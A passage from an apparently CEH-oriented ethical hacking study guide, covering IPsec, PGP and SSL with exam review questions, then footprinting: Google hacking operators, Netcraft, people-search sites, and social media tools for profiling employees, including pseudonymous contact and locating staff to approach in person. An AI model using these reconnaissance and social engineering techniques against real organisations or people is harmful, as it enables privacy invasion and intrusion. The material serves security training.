from unauthorized disclosure. Attackers are successful if they have obtained
cryptographic keys, no matter how the task was accomplished. If they can decrypt
sensitive information, it is “game over” for the defender. Social engineering attacks can
take many forms, including coercing a user to accept a self-signed certificate, exploiting
vulnerabilities in a web browser, or taking advantage of the certificate approval process to
receive a valid certificate and apply it to the attacker’s own site.
Applications of Cryptography
Cryptography can be applied in communication of data and information, which you will
see in the form of IPsec, SSL, and PGP. In this section we will examine these protocol
suites and see how cryptography fits in.
IPsec
Internet Protocol Security (IPsec) is a set of protocols designed to protect the
confidentiality and integrity of data as it flows over a network. The set of protocols is
designed to operate at the Network layer of the OSI model and process packets according
to a predefined group of settings.
Some of the earliest mechanisms for ensuring security worked at the Application layer of
the OSI model. IPsec is a new technology that has proven to be more successful than
many of the previous methods. IPsec has been widely adopted not only because of its
tremendous security benefits but also because of its ability to be implemented without
major changes to individual computer systems. IPsec is especially useful for
implementing virtual private networks and for remote user access through dial-up
connection to private networks.
IPsec provides two mechanisms for protecting information: Authentication Header and
Encapsulating Security Payload. The two modes differ in what they provide:
Authentication Header (AH) provides authentication services and provides a way to
authenticate the sender of data.
Encapsulating Security Payload (ESP) provides a means to authenticate information
as well as encrypt the data.
The information associated with each of these services is inserted into the packet in a
header that follows the IP packet header. Separate key protocols, such as the
ISAKMP/Oakley protocol, can be selected.
EXERCISE 3.1
Working with IPsec
In this exercise you will learn how to create a simple IPsec policy in the Windows
operating system.
The following steps show you how to create an IPsec Negotiation policy on a
Windows computer:
1. On Computer A, click Start ➢ All Programs ➢ Administrative Tools, and then
select Local Security Policy.
2. Right-click IP Security Policies on the Local Computer node, and then choose
Create IP Security Policy.
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3. On the Welcome screen of the IP Security Policy Wizard, click Next.
4. In the Name field, type Secure21. In the Description field, type Policy to encrypt
FTP, and then click Next.
5. On the Default Response Rule Authentication Method screen, choose the option
Use This String To Protect The Key Exchange (Preshared Key) and type password.
6. On the Completing The IP Security Policy Wizard screen, ensure that Edit
Properties is selected, and then click Finish.
7. In the Secure21 Properties dialog box, click Add.
8. On the Welcome To The Create IP Security Rule Wizard screen, click Next.
9. On the Tunnel EndPoint screen, click This Rule Does Not Specify A Tunnel. Click
Next.
10. On the Network Type screen, click All Network Connections, and then click Next.
11. On the IP Filter List screen, click Add.
12. In the IP Filter List dialog box that appears, type Link1986, and then click Add.
13. On the Welcome screen of the IP Filter Wizard, click Next.
14. In the Description field, type 21 IPsec Filter. Click Next.
15. On the IP Traffic Source screen, click Any IP Address, and then click Next.
16. On the IP Traffic Destination screen, click Any IP Address, and then click Next.
17. On the IP Protocol Type screen, click TCP in the drop-down list, and then click
Next.
18. On the Protocol Port screen, select From This Port, type 21 in the text box, select
To Any Port, and then click Next.
19. On the Completing The IP Filter Wizard screen, click Finish, and then click OK.
20. In the IP Filter list, select Link1986, and then click Next.
21. In the Filter Action dialog box, click Add.
22. In the Filter Action Wizard dialog box, click Next.
23. In the Filter Action Name dialog box, type Secure21Filter, and then click Next.
24. In the Filter Action General Options dialog box, select Negotiate Security, and
then click Next.
25. On the Communicating With Computers That Do Not Support IPsec screen, select
Do Not Allow Unsecured Communications, and then click Next.
26. On the IP Traffic Security screen, select Integrity and Encryption, and then click
Next.
27. On the Completing The IP Security Filter Action Wizard screen, click Finish.
28. In the Filter Action dialog box, select Secure21Filter, and then click Next.
29. In the Authentication Method dialog box, select Use This String To Protect The
Key Exchange (Preshared Key), type password, and then click Next.
30. On the Completing The Security Rule Wizard screen, click Finish.
31. In the Secure21 Properties dialog box, click OK.
Once you’ve created the policy, you must activate it, so let’s do that.
On Computer A:
1. Click Start ➢ All Programs ➢ Administrative Tools ➢ Local Security Policy.
2. Select the Local Computer node ➢ IP Security Policies, and in the right pane
right-click the Secure21 policy and click Assign.
On Computer B:
1. In the Local Security Policy Microsoft Management Console (MMC), on the Local
Computer node right-click IP Security Policies, select All Tasks, and then click
Export Policies.
2. In the Save As dialog box, type C:\IPsecPolicy\IPsecurityPolicy21.ipsec, and
then click Save. You must then save the IPsec policy.
Import the security policy to a Windows machine.
Next, configure a Security Association rule in the Windows Firewall with Advanced
Security MMC:
1. On Computer A, click Start ➢ Administrative Tools ➢ Windows Firewall With
Advanced Security.
2. Select and then right-click Connection Security Rules, and then click New Rule.
3. In the New Connection Security Rule Wizard, select Server-To-Server, and then
click Next.
4. On the Endpoints screen, select Any IP Address for both options, and then click
Next.
5. On the Requirements screen, select Require Authentication For Inbound And
Outbound Connections, and then click Next.
6. On the Authentication Method screen, select Preshared Key, type password in the
text box, and then click Next.
7. On the Profile screen, verify that the Domain, Private, and Public options are
selected, and then click Next.
8. In the Name text box, type Secure Server Authentication Rule, and then click
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Finish.
9. Perform steps 1–8 on Computer B.
Pretty Good Privacy
Pretty Good Privacy (PGP) is another application of cryptographic technologies. Using
public key encryption, PGP is one of the most widely recognized cryptosystems in the
world. PGP has been used to protect the privacy of email, data, data storage, and other
forms of communication such as instant messaging.
Early versions of PGP were written by its creator Philip Zimmermann and
first offered to the public in 1991. The program is one example of an open source
application and as such has several different versions available, with everyone having
an opinion about which is best.
PGP was designed to provide the privacy and security measures that are not currently
present in many forms of online communication. The email travels to the destination or
recipient in this encrypted form. The recipient will use PGP to decrypt the message back
into plain text.
The PGP system is a simple but innovative mechanism that uses a process similar to the
public and private key system we explored earlier in this chapter. The key pair consists of
a public key and a private key; the public key encrypts messages and the private key
decrypts them.
A PGP user can also use their private key to digitally sign outgoing mail so that the
recipient knows the mail originated from the named sender. A third party would not have
access to the private key, so the digital signature authenticates the sender.
Sensitive data files stored on your hard drive or on removable media can also be protected
using PGP. You can use your public key to encrypt the files and your private key to
decrypt them. Some versions also allow the user to encrypt an entire disk. This is
especially useful for laptop users in the event the laptop is lost or stolen.
Secure Sockets Layer
Another important mechanism for securing information is Secure Sockets Layer (SSL).
The SSL protocol was developed by Netscape in the mid-1990s and rapidly became a
standard mechanism for exchanging data securely over insecure channels such as the
Internet.
SSL is supported by all modern browsers and email clients transparently.
When a client connects to a location that requires an SSL connection, the server will
present the client with a digital certificate that allows the client to identify the server. The
client makes sure the domain name matches the name on the certificate and that the
certificate has been generated by a trusted authority and bears a valid digital signature.
Once the handshake is completed, the client will automatically encrypt all information
that is sent to the server before it leaves the computer. Encrypted information will be
unreadable en route. Once the information arrives at the secure server, it is decrypted
using a secret key. If the server sends information back to the client, this information will
also be encrypted on the server end before being transmitted.
A mutual authentication situation could also take place where both ends
of the communication channel are authenticated—both the client and the server.
Summary
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In this chapter we covered many components of cryptography and discussed the
importance of each. With a firm grasp of the science of cryptography, you will be able to
progress into the area of pentesting and IT much further than you could without such
knowledge.
Cryptography is able to provide many services to keep data and services secure and safe.
The ability to provide confidentiality, integrity, nonrepudiation, and authentication is
invaluable, with each being useful alone and more powerful when combined.
Technologies such as SSL, IPsec, and others would just not be possible without
encryption or at least not in their current form.
Exam Essentials
Know the purpose of cryptography. Cryptography is designed to protect both the
integrity and confidentiality of information as well as provide nonrepudiation and
authentication; although the mechanism may vary, the goal is the same.
Understand symmetric versus asymmetric cryptography. Know why symmetric
and asymmetric are suitable for some applications and unsuitable for others.
Know your applications. Understand how cryptography works and how it can be
applied to any given situation and which processes are well suited to a given situation.
Know your tools and terms. The CEH exam is drenched with terms and tool names
that will eliminate even the most skilled test taker because they simply don’t know what
the question is talking about. Familiarize yourself with all the key terms, and be able to
recognize the names of the various tools on the exam.
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Review Questions
1. Symmetric cryptography is also known as __________.
A. Shared key cryptography
B. Public key cryptography
C. Hashing
D. Steganography
2. Which of the following manages digital certificates?
A. Hub
B. Key
C. Public key
D. Certificate authority
3. Asymmetric encryption is also referred to as which of the following?
A. Shared key
B. Public key
C. Hashing
D. Block
4. Which of the following best describes hashing?
A. An algorithm
B. A cipher
C. Nonreversible
D. A cryptosystem
5. A message digest is a product of which kind of algorithm?
A. Symmetric
B. Asymmetric
C. Hashing
D. Steganography
6. A public and private key system differs from symmetric because it uses which of the
following?
A. One key
B. One algorithm
C. Two keys
D. Two algorithms
7. A public key is stored on the local computer by its owner in a __________.
A. Hash
B. PKI system
C. Smart card
D. Private key
8. Symmetric key systems have key distribution problems due to __________.
A. Number of keys
B. Generation of key pairs
C. Amount of data
D. Type of data
9. What does hashing preserve in relation to data?
A. Integrity
B. Confidentiality
C. Availability
D. Repudiation
10. Which of the following is a common hashing protocol?
A. MD5
B. AES
C. DES
D. RSA
11. Which of the following best describes PGP?
A. A symmetric algorithm
B. A type of key
C. A way of encrypting data in a reversible method
D. A key escrow system
12. SSL is a mechanism for which of the following?
A. Securing stored data
B. Securing transmitted data
C. Verifying data
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D. Authenticating data
13. Which system does SSL use to function?
A. AES
B. DES
C. 3DES
D. PKI
14. In IPsec, encryption and other processes happen at which layer of the OSI model?
A. Level 1
B. Level 2
C. Level 3
D. Level 4
15. In IPsec, what does Authentication Header (AH) provide?
A. Data security
B. Header security
C. Authentication services
D. Encryption
16. In IPsec, what does Encapsulating Security Payload (ESP) provide?
A. Data security
B. Header security
C. Authentication services
D. Integrity
17. At what point can SSL be used to protect data?
A. On a hard drive
B. On a flash drive
C. On Bluetooth
D. During transmission
18. Which of the following does IPsec use?
A. SSL
B. AES
C. DES
D. PKI
19. Who first developed SSL?
A. Netscape
B. Microsoft
C. Sun
D. Oracle
20. IPsec uses which two modes?
A. AH/ESP
B. AES/DES
C. EH/ASP
D. AES/ESP
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Chapter 4
Footprinting
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CEH EXAM OBJECTIVES COVERED IN THIS CHAPTER:
III. Security
P. Vulnerabilities
IV. Tools/Systems/Programs
O. Operating environments
S. Exploitation tools
In this chapter, you’ll begin the process of investigating a system with
the intention of attacking and compromising the target. You’ll start this process with a
step known as footprinting, which could be generically termed “doing your homework”
regarding your target.
Footprinting is a vital first step in the process of penetration testing because it allows for
the gathering of information, both passively and actively, about your intended target of
evaluation. Spending a good amount of time learning about your target before you start
launching attacks and strikes against it will allow for more precise targeting and more
accurate and productive actions. In addition, taking time to gain information and plan
your next steps will allow you to be more stealthy rather than running headlong into the
process.
Understanding the Steps of Ethical Hacking
For an overview of the process, let’s look at the steps of ethical hacking to see where
footprinting fits in as well as what future phases hold.
Phase 1: Footprinting
Footprinting is the first phase of the ethical hacking process and is the subject of this
chapter. This phase consists of passively and actively gaining information about a target.
The goal is to gather as much information as is reasonable and useful about a potential
target with the objective of getting enough information to make later attacks more
accurate. The end result should be a profile of the target that is a rough picture but one
that gives enough data to plan the next phase of scanning.
Information that can be gathered during this phase includes the following:
IP address ranges
Namespaces
Employee information
Phone numbers
Facility information
Job information
Footprinting takes advantage of the information that is carelessly exposed or disposed of
inadvertently.
Phases 2–4 are the subjects of later chapters (Chapter 5, “Scanning;”
Chapter 6, “Enumeration;” and Chapter 7, “System Hacking”), but do remember that
the information gathered in phase 1 is crucial to the success of later phases. Time
spent researching and investigating shortens the attack phase and makes it
potentially more fruitful and accurate.
Phase 2: Scanning
Phase 2 is scanning, which focuses on an active engagement of the target with the
intention of obtaining more information. Scanning the target network will ultimately
locate active hosts that can then be targeted in a later phase. Footprinting helps identify
potential targets, but not all may be viable or active hosts. Once scanning determines
which hosts are active and what the network looks like, a more refined process can take
place.
During this phase tools such as these are used:
Pings
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Ping sweeps
Port scans
Tracert
Phase 3: Enumeration
The last phase before you attempt to gain access to a system is the enumeration phase.
Enumeration is the systematic probing of a target with the goal of obtaining user lists,
routing tables, and protocols from the system. This phase represents a significant shift in
your process; it is the initial transition from being on the outside looking in to moving to
the inside of the system to gather data. Information such as shares, users, groups,
applications, protocols, and banners all proved useful in getting to know your target, and
this information is carried forward into the attack phase.
The information gathered during phase 3 typically includes, but is not limited to, the
following:
Usernames
Group information
Passwords
Hidden shares
Device information
Network layout
Protocol information
Server data
Service information
Phase 4: System Hacking
Once you have completed the first three phases, you can move into the system hacking
phase. You will recognize that things are getting much more complex and that the system
hacking phase cannot be completed in a single pass. It involves a methodical approach
that includes cracking passwords, escalating privileges, executing applications, hiding
files, covering tracks, concealing evidence, and then pushing into a complex attack.
What Is Footprinting?
Now let’s circle back to the first step in the process of ethical hacking: footprinting.
Footprinting, or reconnaissance, is a method of observing and collecting information
about a potential target with the intention of finding a way to attack the target.
Footprinting looks for information and later analyzes it, looking for weaknesses or
potential vulnerabilities.
When you conduct footprinting—as with all phases and processes
described in this book—you must be quite methodical. A careless or haphazard
process of collecting information can waste time when moving forward or, in a worstcase scenario, cause the attack to fail. In addition, being haphazard or imprecise can
have the undesired effect of attracting the defender’s attention, thereby thwarting
your information gathering. The smart or careful attacker spends a good amount of
time in this phase gathering and confirming information.
Footprinting generally entails the following steps to ensure proper information retrieval:
1. Collect information that is publicly available about a target (for example, host and
network information).
2. Ascertain the operating system(s) in use in the environment, including web server and
web application data where possible.
3. Issue queries such as Whois, DNS, network, and organizational queries.
4. Locate existing or potential vulnerabilities or exploits that exist in the current
infrastructure that may be conducive to launching later attacks.
Why Perform Footprinting?
Footprinting is about gathering information and formulating a hacking strategy. With
proper care you, as the attacking party, may be able to uncover the path of least resistance
into an organization. Passively gathering information is by far the easiest and most
effective method. If done by a skilled, inventive, and curious party (you!), the amount of
information that can be passively gathered is staggering. Expect to obtain information
such as this:
Information about an organization’s security posture and where potential loopholes
may exist. This information will allow for adjustments to the hacking process that
make it more productive.
A database that paints a detailed picture with the maximum amount of information
possible about the target. This may be from an application such as a web application or
other source.
A network map using tools such as the Tracert utility to construct a picture of a
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target’s Internet presence or Internet connectivity. Think of the network map as a
roadmap leading you to a building; the map gets you there, but you still have to
determine the floor plan of the building.
Goals of the Footprinting Process
Before you start doing footprinting and learn the techniques, you must set some
expectations as to what you are looking for and what you should have in your hands at
the end of the process. Keep in mind that the list of information here is not exhaustive,
nor should you expect to be able to obtain all the items from every target. The idea is for
you to get as much information in this phase as you possibly can, but take your time!
Here’s what you should look for:
Network information
Operating system information
Organization information, such as CEO and employee information, office information,
contact numbers, and email
Network blocks
Network services
Application and web application data and configuration information
System architecture
Intrusion detection and prevention systems
Employee names
Work experience
Let’s take a closer look at the first three on this list.
Network Information
On the network side of things, a lot of information is invaluable—if you can get hold of
the data. Amazingly, much of the network information that is useful to you in starting the
initial phase of an attack is readily available or can be easily obtained with little
investigation. During the footprinting phase, keep your eyes open for the following items:
Domain names the company uses to conduct business or other functions, including
research and customer relations
Internal domain name information
IP addresses of available systems
Rogue or unmonitored websites that are used for testing or other purposes
Private websites
TCP/UDP services that are running
Access control mechanisms, including firewalls and ACLs
Virtual private network (VPN) information
Intrusion detection and prevention information as well as configuration data
Telephone numbers, including analog and Voice over Internet Protocol (VoIP)
Authentication mechanisms and systems
See Exercise 4.1 to find the IP address of a website.
EXERCISE 4.1
Finding the IP Address of a Website
This exercise shows you how to obtain information about a website by using ping and
tracert.
1. On a Windows system, open the command prompt and enter the following
command:
ping www.wiley.com
2. Note the IP address that is returned, along with any other statistics such as
packets lost and approximate round-trip time. This information will give you an
idea of the connection’s performance and quality.
3. Determine the frame size on the network by entering this command:
ping www.wiley.com –f –l 1300
4. Note the response to the command. If the command indicates that the packet was
fragmented, then decrease the 1300 value gradually until the results indicate
otherwise. Once you get a valid value, note the number.
5. At the command prompt, enter the following command,
tracert <ip address>
where <ip address> is the one you recorded in step 1.
6. The results reveal information about the path that traffic is taking from the local
host to the remote host. Note the response times and the locations that may have
dropped packets. It is possible that devices such as firewalls, routers, and others
may alter the expected responses of packets and the results you would normally
encounter.
Operating System Information
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The operating system is one of the most important areas you must gain information
about. When browsing information on job sites or gathering information from elsewhere,
look closely to see if anything you obtain can give you clues to what is running. For
example, job postings that ask for experience on Office 2010 or Internet Explorer 9 could
go a long way toward narrowing down the OSs present in the environment.
When sorting through the wealth of information that typically is available about a target,
keep an eye out for anything that provides technical details:
User and group information and names
Operating system versions
System architecture
Remote system data
System names
Passwords
Organization Data
Not all information is technical, so look for information about how an organization
works. Information that provides details about employees, operations, projects, or other
details is vital. Expect to encounter this information in many locations such as the
company’s own website, discussion groups, financial reports, and other locations.
This information includes the following:
Employee details
Organization’s website
Company directory
Location details
Address and phone numbers
Comments in HTML source code
Security policies implemented
Web server links relevant to the organization
Background of the organization
News articles and press releases
Terminology in Footprinting
In this section you’ll learn definitions that may appear on the CEH exam.
Open Source and Passive Information Gathering
As far as intelligence gathering goes, open source or passive information gathering is the
least aggressive. Basically, the process relies on obtaining information from those sources
that are typically publicly available and out in the open. Potential sources include
newspapers, websites, discussion groups, press releases, television, social networking,
blogs, and innumerable other sources.
With a skilled and careful hand, it is more than possible to gather operating system and
network information, public IP addresses, web server information, and TCP and UDP data
sources, just to name a few.
Active Information Gathering
Active information gathering involves engagement with the target through techniques
such as social engineering. Attackers tend to focus their efforts on the soft target, which
tends to be human beings. A savvy attacker engages employees under different guises
under various pretenses with the goal of socially engineering an individual to reveal
information.
Passive Information Gathering
Passive information gathering is decidedly less aggressive and overt than active
information gathering. Whereas active information gathering requires much more direct
engagement with the target, passive does not. Passive uses methods that gather
information indirectly about a target from other sources. These sources include websites,
job postings, social media, and other types of sources. Typically the information-gathering
process will start passively.
Pseudonymous Footprinting
Pseudonymous involves gathering information from online sources that are posted by
someone from the target but under a different name or in some cases a pen name. In
essence the information is not posted under a real name or anonymously; it is posted
under an assumed name with the intention that it will not be traced to the actual source.
Under normal conditions this technique can be used to get unsuspecting parties to
contact you. Using the name of someone within the company (whom you may have never
met face to face) but from another office or location can be an easy way to entrap
someone and gain useful information.
Internet Footprinting
A pretty straightforward method of gaining information is to just use the Internet. I’m
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talking about using techniques such as Google hacking (which uses Google Search and
other Google apps to identify security holes in websites’ configuration and computer
code) and other methods to find out what your target wants to hide (or doesn’t know is
public information) that a malicious party can easily obtain and use.
Threats Introduced by Footprinting
Let’s take a closer look at the threats that can be used to gain information:
Social Engineering One of the easiest ways to gain information about a target or to get
information in general is to just ask for it. When asking doesn’t work, you can try
manipulating people with the goal of getting that gem of information that can give you
useful insight.
Network and System Attacks These are designed to gather information relating to an
environment’s system configuration and operating systems.
Information Leakage This one is far too common nowadays; organizations frequently
have become victims of data and other company secrets slipping out the door and into the
wrong hands.
Privacy Loss Another one that is common—all too common, sadly—is privacy loss.
Remember that gaining access to a system isn’t just about controlling an environment; it
could also be a way to gather private and personal information within it. If you happen to
be the target of such an attack, you may easily find yourself running afoul of laws such as
the Health Insurance Portability and Accountability Act of 1996 (HIPAA) or Sarbanes–
Oxley, to name a couple.
Revenue Loss Loss of information and security related to online business, banking, and
financial-related issues can easily lead to lack of trust in a business, which may even lead
to closure of the business itself. Remember that aside from the financial loss in fines,
penalties, and lawsuits, customers are prone to take their business elsewhere if they don’t
feel it is safe.
When talking about threats that footprinting can cause to an organization,
we need to mention personally identifiable information (PII). PII is any information
that can be used to uniquely identify an individual such as name, address, phone
number, or social security number. If you encounter any of this information during
your penetration testing process, you should seriously consider reporting it to your
client immediately, especially if you encounter it during a stage such as footprinting.
Any disclosure of PII to unauthorized parties can be catastrophic, leading to lawsuits,
bad publicity, regulatory penalties, and much more.
The Footprinting Process
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There are many steps in the footprinting process, each of which will yield a different type
of information. Remember to log each piece of information that you gather, no matter
how insignificant it may seem at the time.
Using Search Engines
One of the first steps in the process of footprinting tends to be using a search engine.
Search engines such as Google and Bing can easily provide a wealth of information that
the client may have wished to have kept hidden or may have just plain forgotten about.
The same information may readily show up on a search engine results page (SERP).
Using a search engine, you can find a lot of information, some of it completely
unexpected or something a defender never considers, such as technology platforms,
employee details, login pages, intranet portals, and so on. A search can easily provide even
more details such as names of security personnel, brand and type of firewall, and
antivirus protection, and it is not unheard of to find network diagrams and other
information.
Google Hacking
Of course, the best known and most dominant search engine today is Google, so let’s start
there. Google, like any search engine, allows you to type in things to look for on the
Internet. While I won’t go through how to do basic searches in this book, it is safe to say
that anyone who has used one knows that sometimes getting the correct information can
be tough. Typing in terms to a search engine will get you results, but are they results that
you need? Let’s see how to unleash the real power with Google; now is the time to learn
the process known as Google hacking.
Google hacking is not anything new and has been around for a long time; it just isn’t
widely known by the public. The process involves using advanced operators to fine-tune
your results to get what you want instead of being left at the whim of the search engine.
With Google hacking it is possible to obtain items such as passwords, certain file types,
sensitive folders, logon portals, configuration data, and other data.
Before you perform any Google hacking (see Exercise 4.2) you need to be familiar with
the operators that make it possible.
Each of the operators mentioned here is entered directly into the search
box on the Google.com home page. You don’t have to go to a special page to use these
commands.
cache Displays the version of a web page that Google contains in its cache instead of
displaying the current version. Syntax: cache:<website name>
link Lists any web pages that contain links to the page or site specified in the query.
Syntax: link:<website name>
info Presents information about the listed page. Syntax: info:<website name>
site Restricts the search to the location specified. Syntax: <keyword> site:<website
name>
allintitle Returns pages with specified keywords in their title. Syntax: allintitle:
<keywords>
allinurl Returns only results with the specific query in the URL. Syntax: allinurl:
<keywords>
EXERCISE 4.2
Using Google Hacking
This exercise demonstrates how to use Google hacking to uncover information about
a target. To do this exercise, you can use any browser and just go to www.google.com.
1. In the search box enter the phrase Site:www.wiley.com Oriyano. This will
search the Wiley website and return any references that include the name
Oriyano.
2. In the search box enter the phrase Allinurl: network camera. This will return
a list of web-enabled cameras that are attached to the Internet.
3. In the search box enter the phrase Link: itpro.tv. This will return a list of
websites that link to the website itpro.tv.
This is just an example of three operators available to you for Google hacking. To
gain information about your target, replace the website and keywords with your
target. Experiment with different combinations and phrases to extract information
regarding your target.
If you are still a little confused about how these special queries and operators work, a very
good resource is the Google Hacking Database (GHDB). This website (www.exploitdb.com/google-dorks/) has been maintained for a very long time; there you will find the
operators described here along with plenty of new ones. By observing the queries and the
results that they provide, you may gain a better understanding of how things work.
A couple of things to note when using these advanced operators are
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frequency and number of keywords. First, be careful of how many times you use the
operators in a short period of time because Google can shut down queries using
these advanced operators if too many appear in a short period of time. Second, keep
in mind that there are many more keywords than I can cover here, including filetype.
Try using these Google hacks only after you have done some initial reconnaissance. The
reasoning here is that after you have some initial information about a target from your
more general investigation, you can then use a targeted approach based on what you have
learned.
To fully appreciate the power of Google hacking, practice on your own,
trying different combinations and variations of the commands mentioned here. That
way, you become familiar with the results they are capable of providing and how each
works.
To use a search engine effectively for footprinting, always start with the basics. The very
first step in gathering information is to begin with the company name. Enter the company
name and take note of the results, because some interesting ones may appear.
Nowadays the tendency is for individuals to go directly to their favorite
search engine and review the results it returns. But if you do this, you are greatly
limiting your results. Be sure to search other engines in addition to your favorite.
Different engines can and do give different results here and there because of the way
they have been designed. Depriving yourself of this information limits your potential
attack options later.
Once you have gotten basic information from the search engine, it’s time to move in a
little deeper and look for information relating to the URL.
If you need to find the external URL of a company, open the search engine of your choice,
type the name of the target organization, and execute the search. Such a search will
generally obtain for you the external and most visible URLs for a company and perhaps
some of the lesser-known ones. Knowing the internal URLs or hidden URLs can provide
tremendous insight into the inner structure or layout of a company. However, tools are
available that can provide more information than a standard search engine. Let’s examine
a couple:
This process uses a search engine—nothing special at this point. Look for
details that may be skipped over during a more cursory examination. It is also worth
your time to look beyond the first 3–5 pages of results because you can miss
information that may be valuable. Studies have shown that most users look at only
the first 3–5 pages before stopping and trying another search. Look closely!
In some cases you may find that the information you wanted or hoped for
was on a website that has long since been removed, but you are in luck in this case.
Thanks to Archive.org (also known as The Wayback Machine), you can find archived
copies of websites from which you can extract information.
Netcraft Actually a suite of related tools, Netcraft lets you obtain web server version, IP
address, subnet data, OS information, and subdomain information for any URL.
Remember this tool—it will come in handy later.
Netcraft can also reveal the subdomains of a target by simply entering the domain name
the right way. Make sure that you enter a target as domainname.com and not
www.domainname.com. For example, use Microsoft.com instead of www.microsoft.com
for the target. The result will be the main domain plus all the subdomains associated with
it.
A subdomain is a domain that is a child of a parent domain. An example
would be support.oriyano.com, where the parent is oriyano.com. Subdomains are
useful because they can clue you in to projects and other goings on. In the past I have
been able to find beta versions of company websites, company extranets, and plenty
of other items companies would have rather kept hidden.
Link Extractor This utility locates and extracts the internal and external URLs for a
given location.
Public and Restricted Websites
Websites that are intended not to be public but to be restricted to a few can provide you
with valuable information. Because restricted websites—such as technet.microsoft.com
and developer.apple.com—are not intended for public consumption, they are kept in a
subdomain that is either not publicized or that has a login page. (See Exercise 4.3.)
EXERCISE 4.3
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Examining a Site
This exercise shows you how to learn more about your target by finding out what
they are running, additional IP information, server data, and DNS information.
1. In your web browser, open the website www.netcraft.com.
2. In the box labeled What’s That Site Running? enter the name of a website. Note
that this is a passive activity, so you do not have to request permission, but if you
plan a more aggressive activity, consider asking for permission.
3. On the results page, note the list of sites that appear. The results may include a
list of subdomains for the domain you entered. Not every site will have
subdomains, so if you don’t see any don’t be alarmed. In some cases if there is
only a single result for a domain name, you may in fact go directly to a page with
details about the domain.
4. On the results page, click the Site Report icon next to a domain name to go to the
Site Report page for that domain.
5. On the Site Report page, note the information provided. This includes data such
as email addresses, physical addresses, OS and web server information, and IP
information.
You may find yourself in practice repeating these steps for multiple domains and
subdomains. Make this process easy on yourself and just print copies of the reports
because they will be useful in later stages.
Location and Geography
Not to be overlooked or underestimated in value is any information pertaining to the
physical location of offices and personnel. You should seek this information during the
footprinting process because it can yield other key details that you may find useful in
later stages, including physical penetrations. In addition, knowing a company’s physical
location can aid in dumpster diving, social engineering, and other efforts.
To help you obtain physical location data, a range of useful and powerful tools is
available. Thanks to the number of sources that gather information such as satellites and
webcams, there is the potential for you as an attacker to gain substantial location data.
Never underestimate the sheer number of sources available, including these:
Google Earth This popular satellite imaging utility has been available since 2001, and
since that time it has gotten better with access to more information and increasing
amounts of other data. Also included in the utility is the ability to look at historical
images of most locations, in some cases back more than 20 years. Figure 4.1 shows a
picture from Google Earth.
Figure 4.1 Google Earth
Google Maps Google Maps provides area information and similar data. Google Maps
with Street View allows you to view businesses, houses, and other locations from the
perspective of a car. Using this utility, many people have spotted things such as people,
entrances, and even individuals working through the windows of a business.
Webcams These are very common, and they can provide information on locations or
people. Figure 4.2 shows a list of results on Google that include web-attached cameras.
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Figure 4.2 Cameras found by doing a Google hack
People Search Many websites offer information of public record that can be easily
accessed by those willing to search for it. It is not uncommon to come across details such
as phone numbers, house addresses, email addresses, and other information depending
on the website being accessed. Some really great examples of people search utilities are
Spokeo, ZabaSearch, Wink, and Intelius.
This location information will become valuable later in this book when we
talk about physical security.
Social Networking and Information Gathering
One of the best sources for information is social networking. Social networking has
proven not only extremely prolific but also incredibly useful as an information-gathering
tool. A large number of people who use these services provide updates on a daily basis.
You can learn not only what an individual is doing but also all the relationships, both
personal and professional, that they have.
Because of the openness and ease of information sharing on these sites, a savvy and
determined attacker can locate details that ought not to be shared. In the past, I have
found information such as project data, vacation information, working relationships, and
location data. This information may be useful in a number of ways. For example, armed
with personal data learned on social networking sites, an attacker can use social
engineering to build a sense of trust.
Social networking can be both a benefit and a problem at the same time.
On the one hand, the ability to advertise, spread messages, and share information is
enormously powerful and beneficial. On the other hand, an attacker may find the
networks and their information useful to attack you. This is something that you will
have to keep in mind when allowing the use of these services within an enterprise.
Some popular social networking services that are worth scouring for information about
your target may be the ones that you are already familiar with:
Facebook The largest social network on the planet boasts an extremely large user base
with a large number of groups for sharing interests. Facebook is also used to share
comments on a multitude of websites, making its reach even farther.
Twitter Twitter has millions of users, many of whom post updates several times a day.
Twitter offers little in the way of security, and those security features it does have are
seldom used. Twitter users tend to post a lot of information with little or no thought as to
the value of what they are posting.
Google+ This is Google’s answer to the popular Facebook. Although the service has yet
to see the widespread popularity of Facebook, there is a good deal of information present
on the site that you can search and use.
LinkedIn One of my personal favorites for gathering information is LinkedIn. The site is
a social networking platform for job seekers, and as such it has employment history,
contact information, skills, and names of those the person has worked with.
Instagram This social media service allows the sharing of photos online. The service is
extremely popular and is used by a large number of people worldwide. Figure 4.3 shows a
screenshot of Instagram.
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Figure 4.3 Instagram
Introducing Echosec
One of the most exciting and interesting products for extracting information from social
media is a relatively new service known as Echosec. Echosec, found at www.echosec.net,
is a service that allows you to search social media and takes advantage of location services
to show where the postings originated. Simply put, this means that you can pick a spot on
a map using a selection box, or type in an address or name, and view everything that has
been posted from that location. Want to refine it even more? You can search by username
or keyword as well and then even go a step further and filter the search by date range. In
practice I have used this tool a lot, and I have been able to retrieve social media postings
that were made as recently as a minute or two ago. Figure 4.4 shows the Echosec Pro
interface with a sample of results.
Figure 4.4 The Echosec service
How could you make use of a tool like this? Well, the easiest and most obvious way
would be to enter the address of the company and/or select a box around the address and
see what appears. Since a lot of people post information to social media regularly, it is
possible to get information in and around a workplace. This could score valuable
information about who is in the organization, where they are, what they are doing, and
the like; you may even get extra lucky and see where employees are going for lunch that
day so you can “meet” them there.
Looking at Maltego
Another valuable tool for visualizing information in social media (as well as other
sources) is called Maltego. Maltego is available at www.paterva.com, where both a free
version and a paid version are available.
This tool can not only retrieve information from social media and other sources, but it is
capable of showing the relationships of information. For example, you can search social
media postings that relate to a specific company and mention certain information, that
come from specific IPs, and more. It can be run on Windows, Mac OS, and Linux.
Financial Services and Information Gathering
Popular financial services such as Yahoo! Finance, Google Finance, and CNBC provide
information that may not be available via other means. This data includes company
officers, profiles, shares, competitor analysis, and many other pieces of data.
Gathering this information may be incredibly easy. Later in the book, we will talk about
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attacks such as phishing and spear-phishing that are useful in this area.
The Value of Job Sites
An oft-overlooked but valuable method of gathering information about a target is through
job sites and job postings. If you have ever looked at a job posting, as many of us have,
you will notice that they can take a lot of forms, but something they tend to have in
common is a statement of desired skills. This is the important detail that you are looking
for. If you visit a job posting site and find a company that you are targeting, you simply
need to investigate the various postings to see what they are asking for. It is not
uncommon to find information such as infrastructure data, operating system
information, and other useful facts.
A quick perusal through job sites such as Monster.com, Dice.com, or even Craigslist.com
can prove valuable. This information is essentially free, because there is little investment
in time or effort to obtain it in many cases.
When analyzing job postings, keep an eye out for information such as this:
Job requirements and experience
Employer profile
Employee profile
Hardware information (This is incredibly common to see in profiles; look for labels
such as Cisco, Microsoft, Juniper, Checkpoint, and others that may include model or
version numbers.)
